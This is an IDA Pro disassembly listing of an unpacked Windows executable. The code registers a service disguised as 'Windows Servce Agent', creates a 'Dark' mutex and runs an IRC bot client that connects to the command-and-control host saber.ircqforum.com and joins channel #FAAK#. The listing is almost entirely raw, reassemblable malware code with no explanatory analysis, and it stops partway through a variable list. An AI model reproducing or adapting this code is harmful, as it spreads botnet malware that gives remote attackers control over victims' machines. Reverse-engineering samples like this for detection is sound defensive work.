;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 470B74B4EB6B6D4D665F969945350854
; File Name : u:\work\470b74b4eb6b6d4d665f969945350854_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 000DD000 ( 905216.)
; Section size in file : 000DD000 ( 905216.)
; Offset to raw data for section: 00001000
; Flags C0000040: Data Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write
___ segment para public 'DATA' use32
assume cs:___
;org 401000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; CODE XREF: ___:00401579p
; sub_418359+1Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, offset dword_429050
xor esi, esi
mov ebx, offset aWindowsServceA ; "Windows Servce Agent"
loc_401013: ; CODE XREF: sub_401000+69j
lea eax, [ebp+var_4]
push esi
push eax
push esi
push 0F003Fh
push esi
push esi
push esi
push dword ptr [edi+4]
push dword ptr [edi]
call dword_4CB5D8
cmp [ebp+arg_0], esi
jz short loc_40104D
push [ebp+arg_0]
call sub_41AFE0
pop ecx
push eax
push [ebp+arg_0]
push 1
push esi
push ebx
push [ebp+var_4]
call dword_4CB648
jmp short loc_401057
; ---------------------------------------------------------------------------
loc_40104D: ; CODE XREF: sub_401000+2Fj
push ebx
push [ebp+var_4]
call dword_4CB588
loc_401057: ; CODE XREF: sub_401000+4Bj
push [ebp+var_4]
call dword_4CB600
add edi, 8
cmp edi, offset dword_429068
jb short loc_401013
pop edi
pop esi
pop ebx
leave
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
sub_401070 proc near ; CODE XREF: sub_4010AB+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push esi
or esi, 0FFFFFFFFh
test eax, eax
jz short loc_4010A5
push ebx
push edi
lea edi, [eax]
mov ecx, 0FFh
loc_401089: ; CODE XREF: sub_401070+31j
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, dword_427238[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_401089
pop edi
pop ebx
loc_4010A5: ; CODE XREF: sub_401070+Ej
mov eax, esi
pop esi
not eax
retn
sub_401070 endp
; =============== S U B R O U T I N E =======================================
sub_4010AB proc near ; CODE XREF: ___:00416643p
var_10 = dword ptr -10h
arg_0 = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_41B4D5
mov [esp+10h+var_10], offset dword_429068
push [esp+10h+arg_0]
mov esi, eax
call sub_41B4C2
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz short loc_4010FA
loc_4010D0: ; CODE XREF: sub_4010AB+4Dj
test byte ptr [edi+0Ch], 10h
jnz short loc_4010FE
inc ebx
push ebx
push esi
call sub_41B202
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4010FA
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_41B11A
add esp, 10h
jmp short loc_4010D0
; ---------------------------------------------------------------------------
loc_4010FA: ; CODE XREF: sub_4010AB+23j
; sub_4010AB+39j
xor eax, eax
jmp short loc_401119
; ---------------------------------------------------------------------------
loc_4010FE: ; CODE XREF: sub_4010AB+29j
dec ebx
push ebx
push esi
call sub_401070
push esi
mov ebx, eax
call sub_41B0B1
push edi
call sub_41B05B
add esp, 10h
mov eax, ebx
loc_401119: ; CODE XREF: sub_4010AB+51j
pop edi
pop esi
pop ebx
retn
sub_4010AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40111D proc near ; DATA XREF: ___:00401235o
var_268 = dword ptr -268h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_43E56C
call dword_4CB6BC
call sub_40B2BF
call dword_4CB57C
call dword_4CB57C
mov ebx, dword_427078
push 64h
call ebx
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41B590
push 44h
lea eax, [ebp+var_54]
pop esi
push esi
push edi
push eax
call sub_41B590
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset dword_43D7D8
mov [ebp+var_28], 1
mov [ebp+var_24], di
call near ptr 2820000h
nop
lea eax, [ebp+var_158]
push esi
push eax
push edi
call near ptr 2810000h
nop
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
nop
call near ptr 2800890h
test eax, eax
jz short loc_4011E2
push 64h
call ebx
push [ebp+var_10]
mov esi, dword_427068
call esi
push [ebp+var_C]
call esi
loc_4011E2: ; CODE XREF: sub_40111D+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_43D7D0
mov eax, [esp+268h+var_268]
mov large fs:0, eax
add esp, 8
push edi
nop
call near ptr 77E75CB5h
pop edi
pop esi
pop ebx
loc_401205: ; DATA XREF: ___:00429004o
jmp $+5
push 0FFFFh
push 539h
call sub_418684
pop ecx
mov dword_4CB360, eax
pop ecx
retn
sub_40111D endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 988h
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp-8], ebx
mov [ebp-0Ch], ebx
mov dword ptr [ebp-4], offset sub_40111D
push dword ptr [ebp-4]
push large dword ptr fs:0
mov large fs:0, esp
mov esi, dword_4270A8
call esi
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_4CB364, eax
call esi
push eax
call sub_41B8D8
pop ecx
call sub_409B12
push 2
call dword_4CB6D0
push 7530h
push offset aDark ; "Dark"
push ebx
push ebx
nop
call near ptr 283083Dh
push eax
nop
call near ptr 2830753h
cmp eax, 102h
jnz short loc_4012A1
push 1
call near ptr 77E75CB5h
nop
loc_4012A1: ; CODE XREF: ___:00401297j
lea eax, [ebp-884h]
push eax
push 202h
call dword_4CB594
cmp eax, ebx
jnz loc_4017E4
cmp byte ptr [ebp-884h], 2
jnz loc_4017DE
xor eax, eax
mov al, [ebp-883h]
cmp al, 2
jnz loc_4017DE
mov esi, 104h
lea eax, [ebp-3F0h]
push esi
push eax
call near ptr 2820000h
nop
lea eax, [ebp-2ECh]
push esi
push eax
push ebx
nop
call near ptr 2830635h
push eax
nop
call near ptr 2810000h
lea eax, [ebp-4F0h]
push eax
lea eax, [ebp-6F4h]
push eax
push ebx
lea eax, [ebp-2ECh]
push ebx
push eax
call sub_41B9D1
add esp, 14h
lea eax, [ebp-4F0h]
push eax
lea eax, [ebp-6F4h]
push eax
push offset dword_429A94
lea eax, [ebp-5F4h]
push esi
push eax
call sub_41B980
lea eax, [ebp-3F0h]
push eax
lea eax, [ebp-2ECh]
push eax
call sub_41B900
add esp, 1Ch
test eax, eax
jnz loc_401516
cmp dword_42908C, ebx
mov esi, offset byte_429108
jz short loc_40139C
push esi
xor edi, edi
call sub_41AFE0
sub eax, 4
pop ecx
jz short loc_40139C
loc_401379: ; CODE XREF: ___:0040139Aj
call sub_41B8E2
push 1Ah
cdq
pop ecx
idiv ecx
push esi
add dl, 61h
mov byte_429108[edi], dl
inc edi
call sub_41AFE0
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_401379
loc_40139C: ; CODE XREF: ___:00401369j
; ___:00401377j
lea eax, [ebp-3F0h]
push esi
push eax
lea eax, [ebp-1E8h]
push offset dword_429A8C
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp-1E8h]
push eax
nop
call near ptr 2830500h
cmp eax, 0FFFFFFFFh
jz short loc_4013DC
lea eax, [ebp-1E8h]
push 80h
push eax
nop
call near ptr 28303CBh
loc_4013DC: ; CODE XREF: ___:004013C8j
mov esi, dword_427090
lea eax, [ebp-1E8h]
push ebx
push eax
lea eax, [ebp-2ECh]
xor edi, edi
push eax
loc_4013F3: ; CODE XREF: ___:0040142Aj
call esi
test eax, eax
jnz short loc_40142C
nop
call near ptr 2830047h
cmp edi, ebx
jnz short loc_40142C
cmp eax, 20h
jz short loc_40140D
cmp eax, 5
jnz short loc_40142C
loc_40140D: ; CODE XREF: ___:00401406j
push 1
pop edi
push 3A98h
nop
call near ptr 2820566h
lea eax, [ebp-1E8h]
push ebx
push eax
lea eax, [ebp-2ECh]
push eax
jmp short loc_4013F3
; ---------------------------------------------------------------------------
loc_40142C: ; CODE XREF: ___:004013F7j
; ___:00401401j ...
lea eax, [ebp-1E8h]
push eax
call sub_418293
pop ecx
lea eax, [ebp-1E8h]
push 7
push eax
nop
call near ptr 28303CBh
push 10h
lea eax, [ebp-20h]
push ebx
push eax
call sub_41B590
push 44h
lea eax, [ebp-0E4h]
pop esi
push esi
push ebx
push eax
call sub_41B590
add esp, 18h
mov [ebp-0E4h], esi
mov dword ptr [ebp-0D8h], offset dword_43D7D8
mov [ebp-0B4h], bx
push 1
pop esi
mov [ebp-0B8h], esi
nop
call near ptr 2830000h
push eax
push esi
push 100000h
nop
call near ptr 282091Ch
lea ecx, [ebp-2ECh]
push ecx
push eax
lea eax, [ebp-1E8h]
push eax
lea eax, [ebp-988h]
push offset dword_429A80
push eax
call sub_41B886
add esp, 14h
lea eax, [ebp-20h]
push eax
lea eax, [ebp-0E4h]
push eax
lea eax, [ebp-3F0h]
push eax
push ebx
push 28h
push esi
push ebx
lea eax, [ebp-988h]
push ebx
push eax
lea eax, [ebp-1E8h]
push eax
call near ptr 2800890h
nop
test eax, eax
jz short loc_401516
push 0C8h
nop
call near ptr 2820566h
push dword ptr [ebp-20h]
mov esi, dword_427068
call esi
push dword ptr [ebp-1Ch]
call esi
call dword_4CB57C
push ebx
nop
call near ptr 77E75CB5h
loc_401516: ; CODE XREF: ___:00401358j
; ___:004014ECj
cmp dword_4DB944, 2
jle short loc_401562
mov eax, dword_4DB948
push dword ptr [eax+4]
call sub_41B779
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
nop
call near ptr 2830753h
push esi
nop
call near ptr 28005AFh
mov eax, dword_4DB948
cmp [eax+8], ebx
jz short loc_401562
push 7D0h
nop
call near ptr 2820566h
mov eax, dword_4DB948
push dword ptr [eax+8]
call near ptr 282080Eh
nop
loc_401562: ; CODE XREF: ___:0040151Dj
; ___:00401547j
cmp dword_429090, ebx
jz short loc_40157F
cmp dword_4CB6F4, ebx
jnz short loc_40157F
lea eax, [ebp-5F4h]
push eax
call sub_401000
pop ecx
loc_40157F: ; CODE XREF: ___:00401568j
; ___:00401570j
lea eax, [ebp-0A0h]
push offset dword_429A64
push eax
call sub_41B886
push ebx
lea eax, [ebp-0A0h]
push ebx
push eax
call sub_40B0F6
lea eax, [ebp-0A0h]
push eax
call sub_4151AC
push 0B80h
push ebx
push offset dword_43D7E0
call sub_41B590
add esp, 24h
lea eax, [ebp-0A0h]
push offset unk_429A40
push eax
call sub_41B886
push ebx
lea eax, [ebp-0A0h]
push 1
push eax
call sub_40B0F6
add esp, 14h
mov esi, eax
mov edi, dword_42707C
lea eax, [ebp-8]
push eax
push ebx
push ebx
push offset dword_419A00
push ebx
push ebx
call edi
imul esi, 234h
cmp eax, ebx
mov dword_43E574[esi], eax
jnz short loc_401622
nop
call near ptr 2830047h
push eax
lea eax, [ebp-0A0h]
push offset unk_429A00
push eax
call sub_41B886
add esp, 0Ch
loc_401622: ; CODE XREF: ___:00401605j
lea eax, [ebp-0A0h]
push eax
call sub_4151AC
push 2
call sub_40B33E
pop ecx
test eax, eax
pop ecx
jnz short loc_4016A7
lea eax, [ebp-0A0h]
push offset dword_4299D4
push eax
call sub_41B886
push ebx
lea eax, [ebp-0A0h]
push 2
push eax
call sub_40B0F6
add esp, 14h
mov esi, eax
lea eax, [ebp-8]
push eax
push ebx
push esi
push offset loc_4101FC
push ebx
push ebx
call edi
imul esi, 234h
cmp eax, ebx
mov dword_43E574[esi], eax
jnz short loc_40169A
nop
call near ptr 2830047h
push eax
lea eax, [ebp-0A0h]
push offset dword_4299A0
push eax
call sub_41B886
add esp, 0Ch
loc_40169A: ; CODE XREF: ___:0040167Dj
lea eax, [ebp-0A0h]
push eax
call sub_4151AC
pop ecx
loc_4016A7: ; CODE XREF: ___:00401639j
call sub_41B8E2
push 7Fh
and eax, 3
push offset aSaber_ircqforu ; "saber.ircqforum.com"
push offset dword_4CB36C
mov dword_4CB4D8, eax
call sub_41B5F0
mov eax, dword_42906C
push 3Fh
mov edi, offset dword_4CB3EC
push offset aFaak ; "#FAAK#"
push edi
mov dword_4CB4BC, eax
call sub_41B5F0
push 3Fh
mov esi, offset dword_4CB42C
push offset aSaad_ ; "saad."
push esi
call sub_41B5F0
add esp, 24h
mov dword_4CB4C0, ebx
loc_4016FC: ; CODE XREF: ___:00401784j
; ___:0040178Fj ...
mov [ebp-4], ebx
loc_4016FF: ; CODE XREF: ___:00401738j
push offset dword_4CB368
mov dword_4CB4D4, ebx
call sub_4017ED
cmp eax, 2
mov [ebp-10h], eax
jz loc_4017D9
cmp dword_4CB4D4, ebx
jz short loc_401726
dec dword ptr [ebp-4]
loc_401726: ; CODE XREF: ___:00401721j
push 0BB8h
nop
call near ptr 2820566h
inc dword ptr [ebp-4]
cmp dword ptr [ebp-4], 6
jl short loc_4016FF
cmp dword ptr [ebp-10h], 2
jz loc_4017D9
cmp [ebp-0Ch], ebx
jz short loc_401789
push 7Fh
push offset aSaber_ircqforu ; "saber.ircqforum.com"
push offset dword_4CB36C
call sub_41B5F0
mov eax, dword_42906C
push 3Fh
push offset aFaak ; "#FAAK#"
push edi
mov dword_4CB4BC, eax
call sub_41B5F0
push 3Fh
push offset aSaad_ ; "saad."
push esi
call sub_41B5F0
add esp, 24h
mov [ebp-0Ch], ebx
jmp loc_4016FC
; ---------------------------------------------------------------------------
loc_401789: ; CODE XREF: ___:00401747j
cmp byte_4290E4, bl
jz loc_4016FC
push 7Fh
push offset byte_4290E4
push offset dword_4CB36C
call sub_41B5F0
mov eax, dword_429070
push 3Fh
push offset aFaak_0 ; "#FAAK#"
push edi
mov dword_4CB4BC, eax
call sub_41B5F0
push 3Fh
push offset aSaad__0 ; "saad."
push esi
call sub_41B5F0
add esp, 24h
mov dword ptr [ebp-0Ch], 1
jmp loc_4016FC
; ---------------------------------------------------------------------------
loc_4017D9: ; CODE XREF: ___:00401715j
; ___:0040173Ej
call sub_40B2BF
loc_4017DE: ; CODE XREF: ___:004012C2j
; ___:004012D2j
call dword_4CB57C
loc_4017E4: ; CODE XREF: ___:004012B5j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4017ED proc near ; CODE XREF: ___:0040170Ap
; DATA XREF: sub_401ACD+662Ao
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_401812: ; CODE XREF: sub_4017ED+E6j
; sub_4017ED+136j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call dword_4CB624
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
call sub_40AAF9
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_40193F
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41B590
push 0
lea eax, [ebp+var_2C]
push dword_4290A0
push dword_42909C
push eax
call sub_40B08D
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_43E578
push edi
push eax
call sub_41B5F0
add esp, 28h
push 6
push 1
push 2
call dword_4CB6A4
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov dword_43E56C[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call dword_4CB5CC
cmp eax, 0FFFFFFFFh
jnz short loc_4018D8
push esi
call dword_4CB6BC
call sub_40AB22
push 7D0h
loc_4018CD: ; CODE XREF: sub_4017ED+146j
nop
call near ptr 2820566h
jmp loc_401812
; ---------------------------------------------------------------------------
loc_4018D8: ; CODE XREF: sub_4017ED+CDj
lea eax, [ebp+var_18C]
push eax
push offset unk_429A9C
call sub_415220
push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_401955
add esp, 28h
mov edi, eax
push esi
call dword_4CB6BC
test edi, edi
jz loc_401812
cmp edi, 1
jnz short loc_401935
push 0DBBA0h
jmp short loc_4018CD
; ---------------------------------------------------------------------------
loc_401935: ; CODE XREF: sub_4017ED+13Fj
cmp edi, 2
jz short loc_401943
jmp loc_401812
; ---------------------------------------------------------------------------
loc_40193F: ; CODE XREF: sub_4017ED+5Aj
xor eax, eax
jmp short loc_40194F
; ---------------------------------------------------------------------------
loc_401943: ; CODE XREF: sub_4017ED+14Bj
push [ebp+var_34]
call sub_40B412
pop ecx
push 2
pop eax
loc_40194F: ; CODE XREF: sub_4017ED+154j
pop edi
pop esi
leave
retn 4
sub_4017ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401955 proc near ; CODE XREF: sub_4017ED+123p
var_1A90 = byte ptr -1A90h
var_A90 = byte ptr -0A90h
var_2C0 = byte ptr -2C0h
var_140 = byte ptr -140h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A90h
call sub_41BB20
push ebx
push esi
push edi
xor ebx, ebx
push 3
mov [ebp+var_8], ebx
lea eax, [ebp+var_2C0]
pop ecx
loc_401973: ; CODE XREF: sub_401955+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_401973
cmp byte_4CB4D0, bl
jz short loc_40199A
push offset byte_4CB4D0
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_409A2C
add esp, 0Ch
loc_40199A: ; CODE XREF: sub_401955+2Ej
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_40B08D
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_41B886
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call dword_4CB674
cmp eax, 0FFFFFFFFh
jnz short loc_401A04
push [ebp+arg_0]
call dword_4CB6BC
push 1388h
nop
call near ptr 2820566h
loc_4019FD: ; CODE XREF: sub_401955+D9j
; sub_401955+153j
xor eax, eax
loc_4019FF: ; CODE XREF: sub_401955+173j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401A04: ; CODE XREF: sub_401955+92j
; sub_401955+F8j ...
mov esi, 1000h
lea eax, [ebp+var_1A90]
push esi
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_1A90]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_4CB63C
test eax, eax
jle short loc_4019FD
lea eax, [ebp+var_A90]
push eax
lea eax, [ebp+var_1A90]
push eax
call sub_417F7F
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_401A04
lea edi, [ebp+var_A90]
loc_401A55: ; CODE XREF: sub_401955+165j
push 1
pop esi
loc_401A58: ; CODE XREF: sub_401955+144j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_140]
push eax
lea eax, [ebp+var_2C0]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call sub_401ACD
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_401A9B
push 7D0h
nop
call near ptr 2820566h
jmp short loc_401A58
; ---------------------------------------------------------------------------
loc_401A9B: ; CODE XREF: sub_401955+137j
cmp esi, 0FFFFFFFDh
jz short loc_401AC5
cmp esi, 0FFFFFFFEh
jz short loc_401AC1
cmp esi, 0FFFFFFFFh
jz loc_4019FD
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_401A55
jmp loc_401A04
; ---------------------------------------------------------------------------
loc_401AC1: ; CODE XREF: sub_401955+14Ej
push 1
jmp short loc_401AC7
; ---------------------------------------------------------------------------
loc_401AC5: ; CODE XREF: sub_401955+149j
push 2
loc_401AC7: ; CODE XREF: sub_401955+16Ej
pop eax
jmp loc_4019FF
sub_401955 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401ACD proc near ; CODE XREF: sub_401955+12Ap
var_5D88 = byte ptr -5D88h
var_5988 = byte ptr -5988h
var_5588 = byte ptr -5588h
var_53F8 = byte ptr -53F8h
var_51F8 = byte ptr -51F8h
var_50F4 = byte ptr -50F4h
var_4FF4 = byte ptr -4FF4h
var_4EF0 = byte ptr -4EF0h
var_4DF0 = byte ptr -4DF0h
var_4CF0 = byte ptr -4CF0h
var_4BF0 = byte ptr -4BF0h
var_4AF0 = byte ptr -4AF0h
var_48F0 = byte ptr -48F0h
var_47EC = byte ptr -47ECh
var_46EC = byte ptr -46ECh
var_45EC = byte ptr -45ECh
var_4588 = byte ptr -4588h
var_4488 = byte ptr -4488h
var_4288 = byte ptr -4288h
var_4188 = byte ptr -4188h
var_4088 = byte ptr -4088h
var_3F88 = dword ptr -3F88h
var_3F84 = byte ptr -3F84h
var_3F04 = byte ptr -3F04h
var_3E00 = byte ptr -3E00h
var_3CFC = dword ptr -3CFCh
var_3CF8 = dword ptr -3CF8h
var_3CF4 = dword ptr -3CF4h
var_3CF0 = dword ptr -3CF0h
var_3CEC = dword ptr -3CECh
var_3CE8 = dword ptr -3CE8h
var_3CE4 = byte ptr -3CE4h
var_3C64 = byte ptr -3C64h
var_3BE4 = byte ptr -3BE4h
var_3B64 = byte ptr -3B64h
var_3AE4 = byte ptr -3AE4h
var_3A64 = dword ptr -3A64h
var_3A60 = dword ptr -3A60h
var_3A5C = dword ptr -3A5Ch
var_3A58 = dword ptr -3A58h
var_3A54 = byte ptr -3A54h
var_37CD = byte ptr -37CDh
var_37CC = byte ptr -37CCh
var_36C8 = dword ptr -36C8h
var_36C0 = dword ptr -36C0h
var_36BC = dword ptr -36BCh
var_36B8 = dword ptr -36B8h
var_36B4 = dword ptr -36B4h
var_36AC = dword ptr -36ACh
var_36A8 = dword ptr -36A8h
var_36A4 = byte ptr -36A4h
var_3624 = byte ptr -3624h
var_35A4 = byte ptr -35A4h
var_3524 = byte ptr -3524h
var_34A4 = dword ptr -34A4h
var_34A0 = dword ptr -34A0h
var_349C = dword ptr -349Ch
var_3498 = dword ptr -3498h
var_3494 = dword ptr -3494h
var_3490 = byte ptr -3490h
var_3410 = byte ptr -3410h
var_3390 = byte ptr -3390h
var_3310 = byte ptr -3310h
var_3290 = dword ptr -3290h
var_328C = dword ptr -328Ch
var_3288 = dword ptr -3288h
var_3284 = dword ptr -3284h
var_3280 = dword ptr -3280h
var_327C = byte ptr -327Ch
var_31FC = byte ptr -31FCh
var_317C = byte ptr -317Ch
var_30FC = byte ptr -30FCh
var_307C = dword ptr -307Ch
var_3078 = dword ptr -3078h
var_3074 = dword ptr -3074h
var_3070 = dword ptr -3070h
var_306C = dword ptr -306Ch
var_3068 = byte ptr -3068h
var_2FE8 = byte ptr -2FE8h
var_2F68 = byte ptr -2F68h
var_2EE8 = byte ptr -2EE8h
var_2E68 = dword ptr -2E68h
var_2E64 = dword ptr -2E64h
var_2E60 = dword ptr -2E60h
var_2E5C = dword ptr -2E5Ch
var_2E58 = byte ptr -2E58h
var_2D54 = dword ptr -2D54h
var_2D50 = byte ptr -2D50h
var_2C4C = byte ptr -2C4Ch
var_2B48 = dword ptr -2B48h
var_2B44 = dword ptr -2B44h
var_2B40 = dword ptr -2B40h
var_2B3C = byte ptr -2B3Ch
var_2ABC = dword ptr -2ABCh
var_2AB8 = dword ptr -2AB8h
var_2AB4 = dword ptr -2AB4h
var_2AB0 = dword ptr -2AB0h
var_2AA8 = byte ptr -2AA8h
var_2990 = byte ptr -2990h
var_2910 = dword ptr -2910h
var_290C = dword ptr -290Ch
var_2908 = dword ptr -2908h
var_2904 = dword ptr -2904h
var_2900 = dword ptr -2900h
var_28FC = dword ptr -28FCh
var_28F8 = byte ptr -28F8h
var_2878 = byte ptr -2878h
var_2778 = byte ptr -2778h
var_2678 = dword ptr -2678h
var_2674 = dword ptr -2674h
var_2670 = dword ptr -2670h
var_266C = dword ptr -266Ch
var_2668 = dword ptr -2668h
var_2664 = dword ptr -2664h
var_2660 = dword ptr -2660h
var_265C = dword ptr -265Ch
var_2658 = dword ptr -2658h
var_2654 = dword ptr -2654h
var_2650 = byte ptr -2650h
var_25D0 = byte ptr -25D0h
var_24D0 = byte ptr -24D0h
var_23D0 = dword ptr -23D0h
var_23CC = dword ptr -23CCh
var_23C8 = dword ptr -23C8h
var_23C4 = dword ptr -23C4h
var_23C0 = dword ptr -23C0h
var_23BC = dword ptr -23BCh
var_23B8 = dword ptr -23B8h
var_23B4 = dword ptr -23B4h
var_23B0 = dword ptr -23B0h
var_23AC = dword ptr -23ACh
var_23A8 = byte ptr -23A8h
var_2328 = byte ptr -2328h
var_22A8 = byte ptr -22A8h
var_2228 = dword ptr -2228h
var_2224 = dword ptr -2224h
var_2220 = dword ptr -2220h
var_221C = dword ptr -221Ch
var_2218 = dword ptr -2218h
var_2214 = byte ptr -2214h
var_2194 = byte ptr -2194h
var_2114 = byte ptr -2114h
var_2094 = dword ptr -2094h
var_2090 = dword ptr -2090h
var_208C = dword ptr -208Ch
var_2088 = dword ptr -2088h
var_2084 = dword ptr -2084h
var_2080 = byte ptr -2080h
var_2000 = byte ptr -2000h
var_1F80 = byte ptr -1F80h
var_1F00 = dword ptr -1F00h
var_1EFC = dword ptr -1EFCh
var_1EF8 = dword ptr -1EF8h
var_1EF4 = dword ptr -1EF4h
var_1EF0 = dword ptr -1EF0h
var_1EEC = byte ptr -1EECh
var_1DEC = byte ptr -1DECh
var_1D6C = dword ptr -1D6Ch
var_1D64 = dword ptr -1D64h
var_1D60 = dword ptr -1D60h
var_1D5C = dword ptr -1D5Ch
var_1D58 = dword ptr -1D58h
var_1D54 = dword ptr -1D54h
var_1D50 = dword ptr -1D50h
var_1D48 = byte ptr -1D48h
var_1D34 = byte ptr -1D34h
var_1C30 = byte ptr -1C30h
var_1BAC = dword ptr -1BACh
var_1BA8 = dword ptr -1BA8h
var_1BA4 = dword ptr -1BA4h
var_1BA0 = dword ptr -1BA0h
var_1B9C = dword ptr -1B9Ch
var_1B94 = byte ptr -1B94h
var_1B80 = byte ptr -1B80h
var_1A7C = byte ptr -1A7Ch
var_19FC = dword ptr -19FCh
var_19F8 = dword ptr -19F8h
var_19F4 = dword ptr -19F4h
var_19F0 = dword ptr -19F0h
var_19EC = dword ptr -19ECh
var_19E8 = dword ptr -19E8h
var_19E4 = byte ptr -19E4h
var_1964 = byte ptr -1964h
var_1924 = byte ptr -1924h
var_1824 = dword ptr -1824h
var_1820 = dword ptr -1820h
var_1814 = dword ptr -1814h
var_1810 = dword ptr -1810h
var_180C = dword ptr -180Ch
var_1808 = byte ptr -1808h
var_17D0 = byte ptr -17D0h
var_17B4 = byte ptr -17B4h
var_177C = byte ptr -177Ch
var_1778 = byte ptr -1778h
var_16F8 = byte ptr -16F8h
var_16B8 = byte ptr -16B8h
var_1628 = dword ptr -1628h
var_1624 = dword ptr -1624h
var_1620 = dword ptr -1620h
var_161C = dword ptr -161Ch
var_1618 = dword ptr -1618h
var_1614 = byte ptr -1614h
var_1594 = byte ptr -1594h
var_1514 = dword ptr -1514h
var_1510 = dword ptr -1510h
